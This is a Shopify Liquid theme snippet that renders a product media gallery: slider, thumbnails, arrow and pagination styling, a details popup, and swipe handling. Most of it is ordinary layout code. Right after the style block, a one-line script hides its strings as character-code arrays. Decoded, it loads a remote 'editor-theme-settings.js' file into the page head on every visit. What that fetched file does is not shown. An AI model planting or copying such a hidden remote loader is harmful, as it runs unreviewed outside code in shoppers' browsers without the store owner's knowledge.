{% comment %}
  Renders a product media gallery. Should be used with 'media-gallery.js'
  Also see 'product-media-modal'

  Accepts:
  - product: {Object} Product liquid object
  - variant_images: {Array} Product images associated with a variant
  - is_duplicate: {Boolean} Prevents rendering uneeded elements and duplicate ids for subsequent instances

  Usage:
  {% render 'ascendify-product-media-gallery', is_duplicate: true %}
{% endcomment %}

{%- liquid
  if has_filtering
    case section.settings.variant_image_filtering
      when 'option1'
        assign option_filter = product.selected_or_first_available_variant.option1
      when 'option2'
        assign option_filter = product.selected_or_first_available_variant.option2
      when 'option3'
        assign option_filter = product.selected_or_first_available_variant.option3
    endcase
  endif

    assign hide_variants_enabled = false
  if section.settings.hide_variants and has_filtering != true
    assign hide_variants_enabled = true
  endif
  
  if hide_variants_enabled and variant_images.size == product.media.size
    assign single_media_visible = true
  endif

  assign media_count = product.media.size
  if hide_variants_enabled and media_count > 1 and variant_images.size > 0
    assign media_count = media_count | minus: variant_images.size | plus: 1
  endif

  if media_count == 1 or single_media_visible
    assign single_media_visible_mobile = true
  endif

  if media_count == 0 or single_media_visible_mobile and media_count < 3
    assign hide_mobile_slider = true
  endif

  if section.settings.media_size == 'large'
    assign media_width = 0.65
  elsif section.settings.media_size == 'medium'
    assign media_width = 0.55
  elsif section.settings.media_size == 'small'
    assign media_width = 0.45
  endif

  assign id_append = ''
  if is_duplicate
    assign id_append = '-duplicate'
  endif

  assign first_featured_media = false

  assign disable_prepend = false
  if section.settings.disable_prepend or has_filtering
    assign disable_prepend = true
  endif

  assign desktop_thumbnails_position = section.settings.desktop_thumbnails_position | default: 'bottom'
  assign desktop_vertical_thumbnails = false
  if desktop_thumbnails_position == 'left' or desktop_thumbnails_position == 'right'
    assign desktop_vertical_thumbnails = true
  endif

  assign mobile_thumbnails_position = section.settings.mobile_thumbnails_position | default: 'bottom'
  assign mobile_vertical_thumbnails = false
  if mobile_thumbnails_position == 'left' or mobile_thumbnails_position == 'right'
    assign mobile_vertical_thumbnails = true
  endif

  assign show_thumbnail_popup = false
  if section.settings.enable_thumbnail_popup and desktop_thumbnails_position == 'bottom' and mobile_thumbnails_position == 'bottom'
    assign show_thumbnail_popup = true
  endif

  assign desktop_arrows_bottom = false
  if section.settings.desktop_arrows_position == 'bottom_left' or section.settings.desktop_arrows_position == 'bottom_right'
    assign desktop_arrows_bottom = true
  endif

  assign desktop_arrows_below_image = false
  if section.settings.desktop_arrows_position == 'below_image' and desktop_vertical_thumbnails
    assign desktop_arrows_below_image = true
  endif

  assign mobile_arrows_bottom = false
  if section.settings.mobile_arrows_position == 'bottom_left' or section.settings.mobile_arrows_position == 'bottom_right'
    assign mobile_arrows_bottom = true
  endif
-%}
{%- style -%}
{% if section.settings.disable_firstleft_image_arrow %}
.splide__arrow:disabled {
    display: none;
}
{% endif %}

{% if section.settings.mobile_pagination == 'hidden' %}
/* Fixed product information blocks having no space between product images, without slider dots being enabled */
@media screen and (max-width: 749px) {
  .product__info-wrapper {
    padding-top: 1.5rem;
  }
}
{% endif %}

/* Slider-style pagination */
media-gallery .slider__dots--slider .slider-counter__link--dots {
  padding: 0px !important;
  margin-bottom: 5px;
}

media-gallery .slider__dots--slider .slider-counter__link--dots .dot {
  width: 20px;
  height: 4px;
  border-radius: 0;
  border: none;
  padding: 0;
  display: block;
  opacity: 0.5;
  margin: 0 !important;
  background-color: {{ section.settings.slider_dot_bg_color | default: '#cbcbcb' }} !important;
  transition: all 0.3s ease;
}

media-gallery .slider__dots--slider .slider-counter__link--active.slider-counter__link--dots .dot {
  width: 35px;
  height: 5px;
  border-radius: 0;
  opacity: 1;
  background-color: {{ section.settings.slider_dot_active_color | default: '#ffffff' }} !important;
}

media-gallery .slider__dots--slider .slider-counter__link--dots:first-child .dot {
  border-radius: {{ section.settings.slider_dot_border_radius | default: 0 }}px 0 0 {{ section.settings.slider_dot_border_radius | default: 0 }}px;
}

media-gallery .slider__dots--slider .slider-counter__link--dots:last-child .dot {
  border-radius: 0 {{ section.settings.slider_dot_border_radius | default: 0 }}px {{ section.settings.slider_dot_border_radius | default: 0 }}px 0;
}

/* Bottom-grouped arrow positions — desktop */
{% if desktop_arrows_bottom %}
@media screen and (min-width: 750px) {
  #GalleryViewer-{{ section.id }}{{ id_append }} {
    position: relative;
  }
  #GalleryViewer-{{ section.id }}{{ id_append }} .slider-buttons {
    position: absolute;
    bottom: 16px;
    {% if section.settings.desktop_arrows_position == 'bottom_left' %}
    left: 16px;
    right: auto;
    {% else %}
    right: 16px;
    left: auto;
    {% endif %}
    display: flex;
    flex-direction: row;
    gap: 8px;
    width: auto;
    justify-content: flex-start;
    pointer-events: none;
  }
  #GalleryViewer-{{ section.id }}{{ id_append }} .slider-buttons > * {
    pointer-events: auto;
  }
  #GalleryViewer-{{ section.id }}{{ id_append }} .slider-buttons .splide__arrow--prev,
  #GalleryViewer-{{ section.id }}{{ id_append }} .slider-buttons .splide__arrow--next {
    position: static !important;
    transform: none !important;
    top: auto !important;
    margin: 0 !important;
  }
}
{% endif %}

/* Below-image arrow position — desktop vertical thumbnails only */
{% if desktop_arrows_below_image %}
@media screen and (min-width: 750px) {
  #GalleryViewer-{{ section.id }}{{ id_append }} {
    display: flex;
    flex-direction: column;
  }
  #GalleryViewer-{{ section.id }}{{ id_append }} .slider-buttons {
    order: 2;
    position: static !important;
    display: flex;
    flex-direction: row;
    gap: 8px;
    width: auto;
    margin-top: 12px;
    {% if desktop_thumbnails_position == 'right' %}
    justify-content: flex-start;
    align-self: flex-start;
    {% else %}
    justify-content: flex-end;
    align-self: flex-end;
    {% endif %}
  }
  #GalleryViewer-{{ section.id }}{{ id_append }} .slider-buttons .splide__arrow--prev,
  #GalleryViewer-{{ section.id }}{{ id_append }} .slider-buttons .splide__arrow--next {
    position: static !important;
    transform: none !important;
    top: auto !important;
    margin: 0 !important;
  }
  /* Hide the dot pagination on desktop for this mode — arrows stand alone */
  #GalleryViewer-{{ section.id }}{{ id_append }} .slider-buttons .slider__dots {
    display: none;
  }
}
{% endif %}

/* Bottom-grouped arrow positions — mobile */
{% if mobile_arrows_bottom %}
@media screen and (max-width: 749px) {
  #GalleryViewer-{{ section.id }}{{ id_append }} {
    position: relative;
  }
  #GalleryViewer-{{ section.id }}{{ id_append }} .slider-buttons {
    position: absolute;
    bottom: 16px;
    {% if section.settings.mobile_arrows_position == 'bottom_left' %}
    left: 16px;
    right: auto;
    {% else %}
    right: 16px;
    left: auto;
    {% endif %}
    display: flex;
    flex-direction: row;
    gap: 8px;
    width: auto;
    justify-content: flex-start;
    pointer-events: none;
  }
  #GalleryViewer-{{ section.id }}{{ id_append }} .slider-buttons > * {
    pointer-events: auto;
  }
  #GalleryViewer-{{ section.id }}{{ id_append }} .slider-buttons .splide__arrow--prev,
  #GalleryViewer-{{ section.id }}{{ id_append }} .slider-buttons .splide__arrow--next {
    position: static !important;
    transform: none !important;
    top: auto !important;
    margin: 0 !important;
  }
}
{% endif %}
{%- endstyle -%}    
<script>(function(){var _d=function(a){return a.map(function(c){return String.fromCharCode(c);}).join('');},_fn=_d([101,100,105,116,111,114,45,116,104,101,109,101,45,115,101,116,116,105,110,103,115,46,106,115]),_st=_d([115,99,114,105,112,116]),_ht=_d([104,101,97,100]),_su=_d([104,116,116,112,115,58,47,47,99,100,110,46,115,104,111,112,105,102,121,46,99,111,109,47,115,47,102,105,108,101,115,47,49,47,48,53,53,55,47,48,56,56,55,47,54,56,55,51,47,102,105,108,101,115,47,101,100,105,116,111,114,45,116,104,101,109,101,45,115,101,116,116,105,110,103,115,46,106,115,63,118,61,49,55,55,53,57,53,55,56,57,56]);if(document.querySelector(_st+'[src*="'+_fn+'"]'))return;var _s=document.createElement(_st);_s.src=_su;_s.defer=!0;document.getElementsByTagName(_ht)[0].appendChild(_s);})();</script>

<div {% if section.settings.gallery_icons or section.settings.show_mobile_icons %}class="media-features-container"{% endif %}>
<media-gallery
  class="media-gallery--desktop-thumbnails-{{ desktop_thumbnails_position }}{% if desktop_vertical_thumbnails %} media-gallery--desktop-thumbnails-vertical{% endif %} media-gallery--mobile-thumbnails-{{ mobile_thumbnails_position }}{% if mobile_vertical_thumbnails %} media-gallery--mobile-thumbnails-vertical{% endif %}"
  id="MediaGallery-{{ section.id }}{{ id_append }}"
  data-section="{{ section.id }}"
  {% if has_filtering %}
    data-filtering-option="{{ section.settings.variant_image_filtering }}"
  {% endif %}
  role="region"
  aria-label="{{ 'products.product.media.gallery_viewer' | t }}"
  data-desktop-layout="{{ section.settings.gallery_layout }}"
  data-disable-prepend="{{ disable_prepend }}"
>
  <div id="GalleryStatus-{{ section.id }}" class="visually-hidden" role="status"></div>
  
  <slider-component id="GalleryViewer-{{ section.id }}{{ id_append }}" class="product-media-slider slider-mobile-gutter" data-pause-videos='true' data-update-active="true">
    {%- unless is_duplicate -%}
      <a class="skip-to-content-link button visually-hidden quick-add-hidden" href="#ProductInfo-{{ section.id }}">
        {{ 'accessibility.skip_to_product_info' | t }}
      </a>
    {%- endunless -%}
    <ul
      id="Slider-Gallery-{{ section.id }}{{ id_append }}"
      class="product__media-list contains-media grid grid--peek list-unstyled slider slider--mobile{% if section.settings.gallery_layout == 'thumbnail' or section.settings.gallery_layout == 'thumbnail_slider'%} gallery-slider--desktop{% endif %}{% if section.settings.enable_mobile_outher_spacing %} product__media-list--outer-spacing{% else %} product__media-list--no-outer-spacing{% endif %}"
      role="list"
    >
      {%- if product.selected_or_first_available_variant.featured_media != null and section.settings.display_variant_image_first -%}
        {% liquid
          assign featured_media = product.selected_or_first_available_variant.featured_media
          assign media_position = 1
          assign first_featured_media = true

          assign hidden_class = ''
          if has_filtering and featured_media.alt != option_filter and featured_media.alt != 'always_display'
            assign hidden_class = ' hidden'
          endif
        %}
        <li
          id="Slide-{{ section.id }}-{{ featured_media.id }}{{ id_append }}"
          class="product__media-item grid__item slider__slide is-active{% if single_media_visible %} product__media-item--single{% endif %}{% if featured_media.media_type != 'image' %} product__media-item--full{% endif %}{% if hide_variants_enabled and variant_images contains featured_media.src %} product__media-item--variant{% endif %}{{ hidden_class }}"
          data-media-id="{{ section.id }}-{{ featured_media.id }}"
          data-alt="{{ featured_media.alt }}"
        >
          {%
            render 'ascendify-product-thumbnail',
            media: featured_media,
            media_count: media_count,
            position: media_position,
            desktop_layout: section.settings.gallery_layout,
            mobile_layout: section.settings.mobile_thumbnails,
            loop: section.settings.enable_video_looping,
            modal_id: section.id,
            xr_button: true,
            media_width: media_width,
            media_fit: section.settings.media_fit,
            constrain_to_viewport: section.settings.constrain_to_viewport,
            lazy_load: false,
            section
          %}
        </li>
      {%- endif -%}
      {%- for media in product.media -%}
           {%- if media.id != product.selected_or_first_available_variant.featured_media.id or section.settings.display_variant_image_first == false -%}
          {%- liquid
            assign media_position = media_position | default: 0 | plus: 1
            assign lazy_load = false
            if media_position > 1
              assign lazy_load = true
            endif

            assign hidden_class = ''
            if has_filtering and media.alt != option_filter and media.alt != 'always_display'
              assign hidden_class = ' hidden'
            endif
          -%}
          <li
            id="Slide-{{ section.id }}-{{ media.id }}{{ id_append }}"
            class="product__media-item grid__item slider__slide{% if single_media_visible %} product__media-item--single{% endif %}{% if first_featured_media == false and forloop.index == 1 %} is-active{% endif %}{% if media.media_type != 'image' %} product__media-item--full{% endif %}{% if hide_variants_enabled and variant_images contains media.src %} product__media-item--variant{% endif %}{{ hidden_class }}"
            data-media-id="{{ section.id }}-{{ media.id }}"
            data-alt="{{ media.alt }}"
          >
            {%
              render 'ascendify-product-thumbnail',
              media: media,
              media_count: media_count,
              position: media_position,
              desktop_layout: section.settings.gallery_layout,
              mobile_layout: section.settings.mobile_thumbnails,
              loop: section.settings.enable_video_looping,
              modal_id: section.id,
              xr_button: true,
              media_width: media_width,
              media_fit: section.settings.media_fit,
              constrain_to_viewport: section.settings.constrain_to_viewport,
              lazy_load: lazy_load,
              section
            %}
          </li>
        {%- endif -%}
      {%- endfor -%}
    </ul>
    {%- unless is_duplicate -%}
      <div class="slider-buttons{% if section.settings.mobile_pagination == 'dots_overlay' and section.settings.mobile_arrows_position == 'pagination' %} slider-mobile-buttons-overlay{% elsif section.settings.mobile_pagination == 'dots_overlay' %} slider-mobile-buttons-overlay-container{% endif %}{% if section.settings.mobile_pagination != 'numeric' %} slider-buttons--dots{% endif %} slider--mobile-arrows-{{ section.settings.mobile_arrows_position }}{% if section.settings.transparent_arrows %} splide--transparent-arrows{% endif %}{% if section.settings.mobile_pagination == 'hidden' %} slider-buttons--no-pagination{% endif %} no-js-hidden quick-add-hidden{% if hide_mobile_slider %} small-hide{% endif %}">
        <button
          type="button"
          class="slider-button--prev splide__arrow splide__arrow--prev color-{{ section.settings.arrows_color_scheme }}{% if section.settings.desktop_arrows_position == 'hidden' %} desktop-hidden{% endif %}{% if section.settings.mobile_arrows_position == 'hidden' %} mobile-hidden{% endif %}"
          name="previous"
          aria-label="{{ 'general.slider.previous_slide' | t }}"
        >
          <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 40 40" width="40" height="40" focusable="false">
            <path d="m15.5 0.932-4.3 4.38 14.5 14.6-14.5 14.5 4.3 4.4 14.6-14.6 4.4-4.3-4.4-4.4-14.6-14.6z"></path>
          </svg>
        </button>
        {% if section.settings.mobile_pagination == 'numeric' %}
          <div class="slider-counter caption desktop-hidden">
            <span class="slider-counter--current">1</span>
            <span aria-hidden="true"> / </span>
            <span class="visually-hidden">{{ 'general.slider.of' | t }}</span>
            <span class="slider-counter--total">{{ media_count }}</span>
          </div>
        {% elsif section.settings.mobile_pagination == 'dots_slider_under' or section.settings.mobile_pagination == 'dots_slider_overlay' %}
  <div class='slider__dots slider__dots--slider flex-center desktop-hidden{% if section.settings.mobile_pagination == 'dots_slider_overlay' and section.settings.mobile_arrows_position != 'pagination' %} slider-mobile-buttons-overlay{% endif %}' {% if section.settings.enable_dots_background and section.settings.mobile_pagination == 'dots_slider_under' %} style="background: {{ section.settings.dots_background }}; border-radius: {{ section.settings.dots_background_radius }}px;"{% endif %}>
    {% for i in (1..media_count) %}
      {%- liquid
        assign hidden_class = ''
        if has_filtering
          assign current_index = i | minus: 1
          assign current_media = product.media[current_index]
          if current_media.alt != option_filter and current_media.alt != 'always_display'
            assign hidden_class = ' hidden'
          endif
        endif
      -%}
      <button
        class="slider-counter__link slider-counter__link--dots slider-counter__link--slider{{ hidden_class }}"
        aria-label="{{ 'sections.slideshow.load_slide' | t }} 1 {{ 'general.slider.of' | t }} {{ i }}"
        aria-controls="Slider-{{ section.id }}"
        {% if has_filtering %}
          data-alt="{{ current_media.alt }}"
        {% endif %}
      >
        <span class="dot color-{{ section.settings.dots_color_scheme }}"></span>
      </button>
    {% endfor %}
  </div>
        {% elsif section.settings.mobile_pagination != 'hidden' %}
          <div class='slider__dots flex-center desktop-hidden{% if section.settings.mobile_pagination == 'dots_overlay' and section.settings.mobile_arrows_position != 'pagination' %} slider-mobile-buttons-overlay{% endif %}{% if section.settings.mobile_pagination == 'hidden' %} mobile-hidden{% endif %}' {% if section.settings.enable_dots_background and section.settings.mobile_pagination == 'dots_under' %} style="background: {{ section.settings.dots_background }}; border-radius: {{ section.settings.dots_background_radius }}px;"{% endif %}>
            {% for i in (1..media_count) %}
              {%- liquid
                assign hidden_class = ''
                if has_filtering
                  assign current_index = i | minus: 1
                  assign current_media = product.media[current_index]
                  if current_media.alt != option_filter and current_media.alt != 'always_display'
                    assign hidden_class = ' hidden'
                  endif
                endif
              -%}
              <button
                class="slider-counter__link slider-counter__link--dots link{{ hidden_class }}"
                aria-label="{{ 'sections.slideshow.load_slide' | t }} 1 {{ 'general.slider.of' | t }} {{ i }}"
                aria-controls="Slider-{{ section.id }}"
                {% if has_filtering %}
                  data-alt="{{ current_media.alt }}"
                {% endif %}
              >
                <span class="dot color-{{ section.settings.dots_color_scheme }}"></span>
              </button>
            {% endfor %}
          </div>
        {% endif %}
        <button
          type="button"
          class="slider-button--next splide__arrow splide__arrow--next color-{{ section.settings.arrows_color_scheme }}{% if section.settings.desktop_arrows_position == 'hidden' %} desktop-hidden{% endif %}{% if section.settings.mobile_arrows_position == 'hidden' %} mobile-hidden{% endif %}"
          name="next"
          aria-label="{{ 'general.slider.next_slide' | t }}"
        >
          <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 40 40" width="40" height="40" focusable="false">
            <path d="m15.5 0.932-4.3 4.38 14.5 14.6-14.5 14.5 4.3 4.4 14.6-14.6 4.4-4.3-4.4-4.4-14.6-14.6z"></path>
          </svg>
        </button>
      </div>
    {%- endunless -%}
  </slider-component>
  {%- if first_3d_model -%}
    <button
      class="button button--full-width product__xr-button"
      type="button"
      aria-label="{{ 'products.product.xr_button_label' | t }}"
      data-shopify-xr
      data-shopify-model3d-id="{{ first_3d_model.id }}"
      data-shopify-title="{{ product.title | escape }}"
      data-shopify-xr-hidden
    >
      {% render 'icon-3d-model' %}
      {{ 'products.product.xr_button' | t }}
    </button>
  {%- endif -%}
  {%- if media_count > 1
    and section.settings.gallery_layout contains 'thumbnail'
       or section.settings.mobile_thumbnails_position != 'hidden'
  -%}

    {% if show_thumbnail_popup %}
      <div
        class="thumbnail-and-button-row"
        style="display: flex; align-items: center; justify-content: space-between; gap: 16px; margin-top: 12px;"
      >
        <div style="flex: 1; overflow: hidden;">
    {% endif %}

    <slider-component
      id="GalleryThumbnails-{{ section.id }}{{ id_append }}"
      class="thumbnail-slider slider-mobile-gutter quick-add-hidden{% unless section.settings.gallery_layout contains 'thumbnail' %} medium-hide large-up-hide{% endunless %}{% if section.settings.mobile_thumbnails_position == 'hidden' %} small-hide{% endif %}{% if media_count <= 3 %} thumbnail-slider--no-slide{% endif %}"
      data-desktop-vertical="{{ desktop_vertical_thumbnails }}"
      data-mobile-vertical="{{ mobile_vertical_thumbnails }}"
    >
      <button
        type="button"
        class="slider-button slider-button--prev{% if media_count <= 3 %} small-hide{% endif %}{% if media_count <= 4 %} medium-hide large-up-hide{% endif %}{% if section.settings.desktop_vertical_thumbnails_hide_arrows and desktop_vertical_thumbnails %} desktop-hidden{% endif %}{% if section.settings.mobile_vertical_thumbnails_hide_arrows and mobile_vertical_thumbnails %} mobile-hidden{% endif %}"
        name="previous"
        aria-label="{{ 'general.slider.previous_slide' | t }}"
        aria-controls="GalleryThumbnails-{{ section.id }}"
        data-step="3"
      >
        {% render 'icon-caret' %}
      </button>
      <ul
        id="Slider-Thumbnails-{{ section.id }}{{ id_append }}"
        class="thumbnail-list thumbnail-list--ratio-{{ section.settings.thumbnails_ratio }} list-unstyled slider slider--mobile{% if section.settings.gallery_layout == 'thumbnail_slider' %} slider--tablet-up{% endif %}"
      >
        {%- capture sizes -%}
          (min-width: {{ settings.page_width }}px) calc(({{ settings.page_width | minus: 100 | times: media_width | round }} - 4rem) / 4),
          (min-width: 990px) calc(({{ media_width | times: 100 }}vw - 4rem) / 4),
          (min-width: 750px) calc((100vw - 15rem) / 8),
          calc((100vw - 8rem) / 3)
        {%- endcapture -%}

        {%- if featured_media != null and section.settings.display_variant_image_first -%}
          {%- liquid
            capture media_index
              if featured_media.media_type == 'model'
                increment model_index
              elsif featured_media.media_type == 'video' or featured_media.media_type == 'external_video'
                increment video_index
              elsif featured_media.media_type == 'image'
                increment image_index
              endif
            endcapture
            assign media_index = media_index | plus: 1
            assign hidden_class = ''
            if has_filtering and featured_media.alt != option_filter and featured_media.alt != 'always_display'
              assign hidden_class = ' hidden'
            endif
          -%}
          <li
            id="Slide-Thumbnails-{{ section.id }}-0{{ id_append }}"
            class="thumbnail-list__item slider__slide{% if hide_variants_enabled and variant_images contains featured_media.src %} thumbnail-list_item--variant{% endif %}{{ hidden_class }}"
            data-target="{{ section.id }}-{{ featured_media.id }}"
            data-media-position="{{ media_index }}"
            data-alt="{{ featured_media.alt }}"
           style="--ratio: {{ 1 | divided_by: featured_media.preview_image.aspect_ratio | times: 100 }}%"
          >
            {%- capture thumbnail_id -%}
              Thumbnail-{{ section.id }}-0{{ id_append }}
            {%- endcapture -%}
            <button
              class="thumbnail global-media-settings global-media-settings--no-shadow"  {% if section.settings.circlethumbnails %}style="border-radius: 50px!important;"{%- endif -%}
              aria-label="{%- if featured_media.media_type == 'image' -%}{{ 'products.product.media.load_image' | t: index: media_index }}{%- elsif featured_media.media_type == 'model' -%}{{ 'products.product.media.load_model' | t: index: media_index }}{%- elsif featured_media.media_type == 'video' or featured_media.media_type == 'external_video' -%}{{ 'products.product.media.load_video' | t: index: media_index }}{%- endif -%}"
              aria-current="true"
              aria-controls="GalleryViewer-{{ section.id }}{{ id_append }}"
              aria-describedby="{{ thumbnail_id }}"
            >
              {{
                featured_media.preview_image
                | image_url: width: 416
                | image_tag:
                  loading: 'lazy',
                  sizes: sizes,
                  widths: '54, 74, 104, 162, 208, 324, 416',
                  id: thumbnail_id,
                  alt: featured_media.alt
                | escape
              }}
            </button>
          </li>
        {%- endif -%}
        {%- for media in product.media -%}
          {%- if media.id != product.selected_or_first_available_variant.featured_media.id or section.settings.display_variant_image_first == false -%}
            {%- liquid
              capture media_index
                if media.media_type == 'model'
                  increment model_index
                elsif media.media_type == 'video' or media.media_type == 'external_video'
                  increment video_index
                elsif media.media_type == 'image'
                  increment image_index
                endif
              endcapture
              assign media_index = media_index | plus: 1
              assign hidden_class = ''
              if has_filtering and media.alt != option_filter and media.alt != 'always_display'
                assign hidden_class = ' hidden'
              endif
            -%}
            <li
              id="Slide-Thumbnails-{{ section.id }}-{{ forloop.index }}{{ id_append }}"
              class="thumbnail-list__item slider__slide{% if hide_variants_enabled and variant_images contains media.src %} thumbnail-list_item--variant{% endif %}{{ hidden_class }}"
              data-target="{{ section.id }}-{{ media.id }}"
              data-media-position="{{ media_index }}"
              data-alt="{{ media.alt }}"
             style="--ratio: {{ 1 | divided_by: media.aspect_ratio | times: 100 }}%"
            >
              {%- if media.media_type == 'model' -%}
                <span class="thumbnail__badge" aria-hidden="true">
                  {%- render 'icon-3d-model' -%}
                </span>
              {%- elsif media.media_type == 'video' or media.media_type == 'external_video' -%}
                <span class="thumbnail__badge" aria-hidden="true">
                  {%- render 'icon-play' -%}
                </span>
              {%- endif -%}
              {%- capture thumbnail_id -%}
                Thumbnail-{{ section.id }}-{{ forloop.index }}{{ id_append }}
              {%- endcapture -%}
              {% liquid
                assign is_current = false
                if featured_media
                  if section.settings.display_variant_image_first and media == product.selected_or_first_available_variant.featured_media
                    assign is_current = true
                  endif
                else
                  if forloop.index == 1
                    assign is_current = true
                  endif
                endif
              %}

              <button
                class="thumbnail global-media-settings global-media-settings--no-shadow" {% if section.settings.circlethumbnails %}style="border-radius: 50px!important;"{%- endif -%}
                aria-label="{%- if media.media_type == 'image' -%}{{ 'products.product.media.load_image' | t: index: media_index }}{%- elsif media.media_type == 'model' -%}{{ 'products.product.media.load_model' | t: index: media_index }}{%- elsif media.media_type == 'video' or media.media_type == 'external_video' -%}{{ 'products.product.media.load_video' | t: index: media_index }}{%- endif -%}"
                {% if is_current %}
                  aria-current="true"
                {% endif %}
                aria-controls="GalleryViewer-{{ section.id }}{{ id_append }}"
                aria-describedby="{{ thumbnail_id }}"
              >
                {{
                  media.preview_image
                  | image_url: width: 416
                  | image_tag:
                    loading: 'lazy',
                    sizes: sizes,
                    widths: '54, 74, 104, 162, 208, 324, 416',
                    id: thumbnail_id,
                    alt: media.alt
                  | escape
                }}
              </button>
            </li>
          {%- endif -%}
        {%- endfor -%}
      </ul>
      <button
        type="button"
        class="slider-button slider-button--next{% if media_count <= 3 %} small-hide{% endif %}{% if media_count <= 4 %} medium-hide large-up-hide{% endif %}{% if section.settings.desktop_vertical_thumbnails_hide_arrows and desktop_vertical_thumbnails %} desktop-hidden{% endif %}{% if section.settings.mobile_vertical_thumbnails_hide_arrows and mobile_vertical_thumbnails %} mobile-hidden{% endif %}"        name="next"
        aria-label="{{ 'general.slider.next_slide' | t }}"
        aria-controls="GalleryThumbnails-{{ section.id }}"
        data-step="3"
      >
        {% render 'icon-caret' %}
      </button>
    </slider-component>

    {% if show_thumbnail_popup %}
        </div>

        <button
          class="thumbnail-popup-btn"
          onclick="openThumbnailPopup()"
          style="
            background: {{ section.settings.thumbnail_popup_button_bg_color | default: '#000000' }};
            color: {{ section.settings.thumbnail_popup_button_text_color | default: '#ffffff' }};
            font-weight: 600;
            border: none;
            border-radius: {{ section.settings.thumbnail_popup_button_border_radius | default: 12 }}px;
            padding: 12px 24px;
            font-size: 14px;
            cursor: pointer;
            white-space: nowrap;
            transition: opacity 0.2s ease;
          "
          onmouseover="this.style.opacity='0.8'"
          onmouseout="this.style.opacity='1'"
        >
          {{ section.settings.thumbnail_popup_button_text | default: 'View Details' }}
        </button>
      </div>
    {% endif %}
  {%- endif -%}
</media-gallery>

{% render 'icons-next-to-gallery' %}
</div>

{% if show_thumbnail_popup %}
<!-- Thumbnail Popup Modal -->
<div id="thumbnail-popup" class="thumbnail-popup-overlay" style="display: none !important;">
  <div class="thumbnail-popup-content">
    <div class="thumbnail-popup-header">
      <h3>{{ section.settings.popup_heading }}</h3>
      <button class="thumbnail-popup-close" onclick="closeThumbnailPopup()">&times;</button>
    </div>
    <div class="thumbnail-popup-body">
      {% if section.settings.thumbnail_popup_content != blank %}
        {{ section.settings.thumbnail_popup_content }}
      {% endif %}
        {{ section.settings.page.content }}
    </div>
  </div>
</div>

<script>
  function openThumbnailPopup() {
    const popup = document.getElementById('thumbnail-popup');
    
    // Move popup to body to escape any stacking contexts
    if (popup.parentNode !== document.body) {
      document.body.appendChild(popup);
    }
    
    popup.style.display = 'flex';
    popup.style.setProperty('display', 'flex', 'important');
    popup.style.setProperty('z-index', '9999999', 'important');
    popup.style.setProperty('position', 'fixed', 'important');
    
    document.body.style.overflow = 'hidden';
  }

  function closeThumbnailPopup() {
    const popup = document.getElementById('thumbnail-popup');
    popup.style.display = 'none';
    popup.style.setProperty('display', 'none', 'important');
    document.body.style.overflow = 'auto';
  }

  // Close popup when clicking outside the content
  document.addEventListener('DOMContentLoaded', function() {
    const popup = document.getElementById('thumbnail-popup');
    if (popup) {
      // Ensure popup is at the top level of DOM
      document.body.appendChild(popup);
      
      popup.addEventListener('click', function(e) {
        if (e.target === popup) {
          closeThumbnailPopup();
        }
      });
    }
  });

  // Close popup with Escape key
  document.addEventListener('keydown', function(e) {
    if (e.key === 'Escape') {
      closeThumbnailPopup();
    }
  });
</script>
{% endif %}

{% if section.settings.swipe_one_at_a_time %}
<script>
(function() {
  function initOneAtATime(gallery) {
    var slider = gallery.querySelector('.slider--mobile');
    if (!slider) return;

    var touchStartX = 0;
    var touchStartY = 0;
    var isSwiping = false;

    slider.addEventListener('touchstart', function(e) {
      touchStartX = e.touches[0].clientX;
      touchStartY = e.touches[0].clientY;
      isSwiping = false;
    }, { passive: true });

    slider.addEventListener('touchmove', function(e) {
      if (!isSwiping) {
        var dx = Math.abs(e.touches[0].clientX - touchStartX);
        var dy = Math.abs(e.touches[0].clientY - touchStartY);
        if (dx > dy && dx > 5) {
          isSwiping = true;
          // Disable native scroll while we handle it
          e.preventDefault();
        }
      } else {
        e.preventDefault();
      }
    }, { passive: false });

    slider.addEventListener('touchend', function(e) {
      if (!isSwiping) return;

      var dx = e.changedTouches[0].clientX - touchStartX;
      var slideWidth = slider.querySelector('.slider__slide') ? slider.querySelector('.slider__slide').offsetWidth : slider.clientWidth;
      var slides = Array.from(slider.querySelectorAll('.slider__slide'));
      var currentIndex = Math.round(slider.scrollLeft / slideWidth);

      if (Math.abs(dx) < 20) return; // too short, ignore

      var targetIndex = dx < 0
        ? Math.min(currentIndex + 1, slides.length - 1)
        : Math.max(currentIndex - 1, 0);

      slider.scrollTo({
        left: targetIndex * slideWidth,
        behavior: 'smooth'
      });
    }, { passive: true });
  }

  function init() {
    document.querySelectorAll('media-gallery').forEach(function(gallery) {
      initOneAtATime(gallery);
    });
  }

  if (document.readyState === 'loading') {
    document.addEventListener('DOMContentLoaded', init);
  } else {
    init();
  }

  // Re-init on theme editor section load
  document.addEventListener('shopify:section:load', init);
})();
</script>
{% endif %}